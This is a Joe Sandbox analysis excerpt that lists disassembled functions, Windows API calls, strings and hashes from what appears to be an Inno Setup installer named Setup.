%s\%s_is1, xrefs: 0046B8D5
Inno Setup: User Info: Organization, xrefs: 0046BA2A
Inno Setup: App Path, xrefs: 0046B91A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: 881face39283b759f1104405561a79bf0ca3367f68e7ec4e18ae80eeee6e77b8
Instruction ID: d4938a8875d928e62370da94e0c7315c21a6c15d86b49e557808e0d67f031224
Opcode Fuzzy Hash: 881face39283b759f1104405561a79bf0ca3367f68e7ec4e18ae80eeee6e77b8
Instruction Fuzzy Hash: 2151D634A006049BCB01DF95C851BDEBBB4EF48304F6080BAE850E7395EB386F45CB99

Function 0041B32C Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

73EA4C40.GDI32(00000000,?,00000000,?), ref: 0041B343
73EA4C40.GDI32(00000000,00000000,?,00000000,?), ref: 0041B34D
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B35F
73EA6180.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B376
73E9A570.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B382
73EA4C00.GDI32(00000000,0000000B,?,00000000,0041B3DB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3AF
73E9A480.USER32(00000000,00000000,0041B3E2,00000000,0041B3DB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3D5
SelectObject.GDI32(00000000,?), ref: 0041B3F0
SelectObject.GDI32(?,00000000), ref: 0041B3FF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B42B
SelectObject.GDI32(00000000,00000000), ref: 0041B439
SelectObject.GDI32(?,00000000), ref: 0041B447
DeleteDC.GDI32(00000000), ref: 0041B450
DeleteDC.GDI32(?), ref: 0041B459

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Object$Select$Delete$A480A570A6180Stretch
String ID:
API String ID: 1888863034-0
Opcode ID: cd00e94908da920273752af396bf2fa8fe5d1b1e34a482423fcb94748e594287
Instruction ID: 0fe8415c8219cdf2c3eecc0e3388b2c122641f4d1bbb4a3d97e7e4149d797bb9
Opcode Fuzzy Hash: cd00e94908da920273752af396bf2fa8fe5d1b1e34a482423fcb94748e594287
Instruction Fuzzy Hash: 0741CE71E44609AFDF10DAE9C842FEFB7BCEB08704F104526B614FB281D67869418BA4

Function 00459000 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 264comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0049CAD4,00000000,00000001,0049C770,?,00000000,00459303), ref: 00459042
CoCreateInstance.OLE32(0049C760,00000000,00000001,0049C770,?,00000000,00459303), ref: 00459068
SysFreeString.OLEAUT32(?), ref: 004591BB
SysFreeString.OLEAUT32(00000000), ref: 004592B9

Part of subcall function 00403C70: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CAA
Part of subcall function 00403C70: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CB5

Strings

CoCreateInstance, xrefs: 00459073
IShellLink::QueryInterface(IID_IPersistFile), xrefs: 0045922C
IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 00459151
IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 004591A0
IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 004591F2
IPropertyStore::Commit, xrefs: 0045920B
IPersistFile::Save, xrefs: 0045928A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: String$CreateFreeInstance$AllocByteCharMultiWide
String ID: CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)
API String ID: 2079434299-2511345603
Opcode ID: 5d6776a1f88c74746424d7c975cc808c2c67cd6252d65a5d88eabe038219f97d
Instruction ID: 1b4131c034f850de70ecc328f3865f727eb48dfb934d4e46459c5d3b8cfbf614
Opcode Fuzzy Hash: 5d6776a1f88c74746424d7c975cc808c2c67cd6252d65a5d88eabe038219f97d
Instruction Fuzzy Hash: CEA13F71A00105EFDB40DFA9C885B9E77F9AF09705F1444AAF904E72A2DB38DD48CB69

Function 004572FC Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegQueryValueExA.ADVAPI32(0045D6DE,00000000,00000000,?,00000000,?,00000000,00457595,?,0045D6DE,00000003,00000000,00000000,004575CC), ref: 00457415

Part of subcall function 0042E5D8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00455E3F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E5F7

RegQueryValueExA.ADVAPI32(0045D6DE,00000000,00000000,00000000,?,00000004,00000000,004574DF,?,0045D6DE,00000000,00000000,?,00000000,?,00000000), ref: 00457499
RegQueryValueExA.ADVAPI32(0045D6DE,00000000,00000000,00000000,?,00000004,00000000,004574DF,?,0045D6DE,00000000,00000000,?,00000000,?,00000000), ref: 004574C8

Strings

RegOpenKeyEx, xrefs: 00457398
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00457333
, xrefs: 00457386
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045736C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 1abfbec10ed542a5a8ab197a3abda90d4060c12576f03e28e21e167f041ebacc
Instruction ID: 26004a56ae0c6450c8aec26a3aa69da04ff86ed895519e17c4020ff91a062411
Opcode Fuzzy Hash: 1abfbec10ed542a5a8ab197a3abda90d4060c12576f03e28e21e167f041ebacc
Instruction Fuzzy Hash: 69913371D04208ABDB10DFE5D941BDEBBB9EB49315F10407BF900F7282DA799E058B69

Function 00475438 Relevance: 17.8, APIs: 4, Strings: 6, Instructions: 335COMMON

Download Yara Rule

APIs

Part of subcall function 0042C67C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C6A0

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004755F0
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 004756F3
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00475709
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0047572E

Strings

.pif, xrefs: 004754E7, 00475677
.url, xrefs: 0047550A
Desktop.ini, xrefs: 004757AF
{group}\, xrefs: 00475492
.lnk, xrefs: 004754C4
target.lnk, xrefs: 00475778

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$target.lnk${group}\
API String ID: 971782779-3986285429
Opcode ID: a6a4796e551835fbdb034c5e1ee328417db370e2ad9881f7463251f38b0ce74b
Instruction ID: 02169e0f98da6155fdfe61f7292621bd15e17cfdb34a68b55994b7958465d620
Opcode Fuzzy Hash: a6a4796e551835fbdb034c5e1ee328417db370e2ad9881f7463251f38b0ce74b
Instruction Fuzzy Hash: 12D12574A006499FDB01EFA9D981BDDBBF5AF08304F50806AF904BB391C778AD45CB69

Function 00456FB0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBB8: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DBE4

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00457187,?,00000000,0045724B), ref: 004570D7
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,00457187,?,00000000,0045724B), ref: 00457213

Part of subcall function 0042E5D8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00455E3F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E5F7

Strings

RegCreateKeyEx, xrefs: 0045704B
, xrefs: 00457039
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00456FEF
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045701F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: d837461a3dd59ef250e871474975a1d298c3c9901706f33fe2ea52d9fc97a8b9
Instruction ID: c600286f39baf85ea7a7c95b800a9f4497798c72bb8b3993233567dfbdc51e03
Opcode Fuzzy Hash: d837461a3dd59ef250e871474975a1d298c3c9901706f33fe2ea52d9fc97a8b9
Instruction Fuzzy Hash: AC812E71A04619AFDB00DFD5D981BEEB7B9EB48305F50443AF900F7282D778AA058B69

Function 00499954 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00456488: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00499B25,_iu,?,00000000,004565C2), ref: 00456577
Part of subcall function 00456488: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00499B25,_iu,?,00000000,004565C2), ref: 00456587

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 004999D1
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00499B25), ref: 004999F2
CreateWindowExA.USER32(00000000,STATIC,00499B34,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00499A19
SetWindowLongA.USER32(?,000000FC,004991CC), ref: 00499A2C
SetWindowPos.USER32(00010426,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00499AF8,?,?,000000FC,004991CC,00000000,STATIC,00499B34), ref: 00499A5C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00499AD0
CloseHandle.KERNEL32(?,?,00010426,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00499AF8,?,?,000000FC,004991CC,00000000), ref: 00499ADC

Part of subcall function 004567D8: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004568BF

73EA5CF0.USER32(?,00499AFF,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00499AF8,?,?,000000FC,004991CC,00000000,STATIC), ref: 00499AF2

Strings

STATIC, xrefs: 00499A12
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00499A8B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileWindow$CloseCreateHandle$AttributesCopyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 170458502-2312673372
Opcode ID: dc6b091e5adbbedcf52ca3a2b13bc86a04d6017c6e8ec8888273b641b102fac5
Instruction ID: b9a930cd793c86d81b3b0dab7c754853d1589d629ac2aeef12590ea31a9103f0
Opcode Fuzzy Hash: dc6b091e5adbbedcf52ca3a2b13bc86a04d6017c6e8ec8888273b641b102fac5
Instruction Fuzzy Hash: D8415170A40245AEDF00EFA9DC42F9E7BB8EB09714F51447AF500F7291D7799E008B68

Function 0042EE98 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042EEA4
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042EEB8
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042EEC5
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042EED2
GetWindowRect.USER32(00010426,00000000), ref: 0042EF1E
SetWindowPos.USER32(00010426,00000000,?,?,00000000,00000000,0000001D), ref: 0042EF5C

Strings

GetMonitorInfoA, xrefs: 0042EECC
user32.dll, xrefs: 0042EEB3
MonitorFromWindow, xrefs: 0042EEBF
(, xrefs: 0042EEFD

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 27b64cc3e40d908d073f0a87f53bda27b394e8c31ed1fc96e029f4085f2bcf0b
Instruction ID: 685f4f84750a7f0e4d82480962862f364ed5557f0fe326b9661c3364ca71262c
Opcode Fuzzy Hash: 27b64cc3e40d908d073f0a87f53bda27b394e8c31ed1fc96e029f4085f2bcf0b
Instruction Fuzzy Hash: 0121A4767057147BD300EA6ADD81F3B37D8DB98B04F4A452AF944DB386DA78EC004B99

Function 004654E8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 004654F4
GetModuleHandleA.KERNEL32(user32.dll), ref: 00465508
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00465515
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00465522
GetWindowRect.USER32(00010426,00000000), ref: 0046556E
SetWindowPos.USER32(00010426,00000000,?,?,00000000,00000000,0000001D,00010426,00000000), ref: 004655AC

Strings

user32.dll, xrefs: 00465503
MonitorFromWindow, xrefs: 0046550F
GetMonitorInfoA, xrefs: 0046551C
(, xrefs: 0046554D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 20e763402438af2c31c6188a0db6730de3d6e901c2f3c52f02eb0cac8d5456ed
Instruction ID: a657a5807016972207ba9023788d5b35b47db02b5a48d5e1bf58a0c4084a0ef2
Opcode Fuzzy Hash: 20e763402438af2c31c6188a0db6730de3d6e901c2f3c52f02eb0cac8d5456ed
Instruction Fuzzy Hash: 7D21C572601A047BD700EA64CD59F3F37D5DB94700F05452EF945EB386EA78EC004B9A

Function 0045C0E8 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 165registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0045BFF8: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,0045C131,00000000,0045C2E9,?,00000000,00000000,00000000), ref: 0045C045

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,0045C2E9,?,00000000,00000000,00000000), ref: 0045C18F
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,0045C2E9,?,00000000,00000000,00000000), ref: 0045C1F9

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,0045C2E9,?,00000000,00000000,00000000), ref: 0045C260

Strings

v2.0.50727, xrefs: 0045C1EB
SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 0045C142
SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 0045C213
v1.1.4322, xrefs: 0045C252
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045C1AC
v4.0.30319, xrefs: 0045C181

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Close$Open
String ID: SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
API String ID: 2976201327-2955450660
Opcode ID: 31ae97ac7f0c1d3bf8a26276a57f38d154354bda3f3c3140fb850117bbc9f7c1
Instruction ID: fa179e30b50f3e3bb3e87cc84c55d9aace19682a0862feb358e9f2cbaada2637
Opcode Fuzzy Hash: 31ae97ac7f0c1d3bf8a26276a57f38d154354bda3f3c3140fb850117bbc9f7c1
Instruction Fuzzy Hash: 9D51F834E042445FCB00DBA4C8A17EE77B5DB59305F5444BBA800EB353EA399A0ECB69

Function 0045B8F8 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,0045BAD7,?,00000000,0045BB3A,?,?,?,00000000), ref: 0045B955
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0045BA6C,?,00000000,00000001,00000000,00000000,00000000,0045BAD7), ref: 0045B9B2
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0045BA6C,?,00000000,00000001,00000000,00000000,00000000,0045BAD7), ref: 0045B9BF
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 0045BA0B
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,0045BA45,?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0045BA6C,?,00000000), ref: 0045BA31
GetLastError.KERNEL32(?,?,00000000,00000001,0045BA45,?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0045BA6C,?,00000000), ref: 0045BA38

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

Strings

CreateEvent, xrefs: 0045B963
TransactNamedPipe, xrefs: 0045B9CB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 8f7c2f640f1a06ff7137bf6597e37854308cc00c87ea8ae9b0731271fcf9db65
Instruction ID: b66cf81c76e76ae3e20897ba036520861f827022bc14a2920e4585ec4b8bd19a
Opcode Fuzzy Hash: 8f7c2f640f1a06ff7137bf6597e37854308cc00c87ea8ae9b0731271fcf9db65
Instruction Fuzzy Hash: F8418F71A00608AFDB11DF95C981F9EB7F8EB08700F1040A6F900E7692D7789E44CAA8

Function 00459588 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,004596ED,?,?,00000031,?), ref: 004595B0
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 004595B6
LoadTypeLib.OLEAUT32(00000000,?), ref: 00459603

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

Strings

LoadTypeLib, xrefs: 0045960E
GetProcAddress, xrefs: 004595C3
UnRegisterTypeLib, xrefs: 0045966F
UnRegisterTypeLib, xrefs: 004595A6
OLEAUT32.DLL, xrefs: 004595AB
ITypeLib::GetLibAttr, xrefs: 00459639

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: fbecae586c6a4f6f4dc376268e54b22b11050297bcd8e6134d79570baa7bc856
Instruction ID: 0668e5fbe9887e047a4ba5a0b0d1675857720ad0ad330b41f0d04eb0f04420cb
Opcode Fuzzy Hash: fbecae586c6a4f6f4dc376268e54b22b11050297bcd8e6134d79570baa7bc856
Instruction Fuzzy Hash: 2A318171A00604EFDB11EFAACC51E5BB7BAEB8D7417118466F804D3262DB38DD08C728

Function 0042F270 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 90windowregistryCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042F29F
GetFocus.USER32 ref: 0042F2A7
RegisterClassA.USER32(0049C7A8), ref: 0042F2C8
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F39C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F306
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F34C
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F35D
SetFocus.USER32(00000000,00000000,0042F37F,?,?,?,00000001,00000000,?,0045B07A,00000000,0049E624), ref: 0042F364

Strings

$I, xrefs: 0042F376, 0042F32F, 0042F33C
TWindowDisabler-Window, xrefs: 0042F2FF, 0042F345

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: $I$TWindowDisabler-Window
API String ID: 3167913817-1578579963
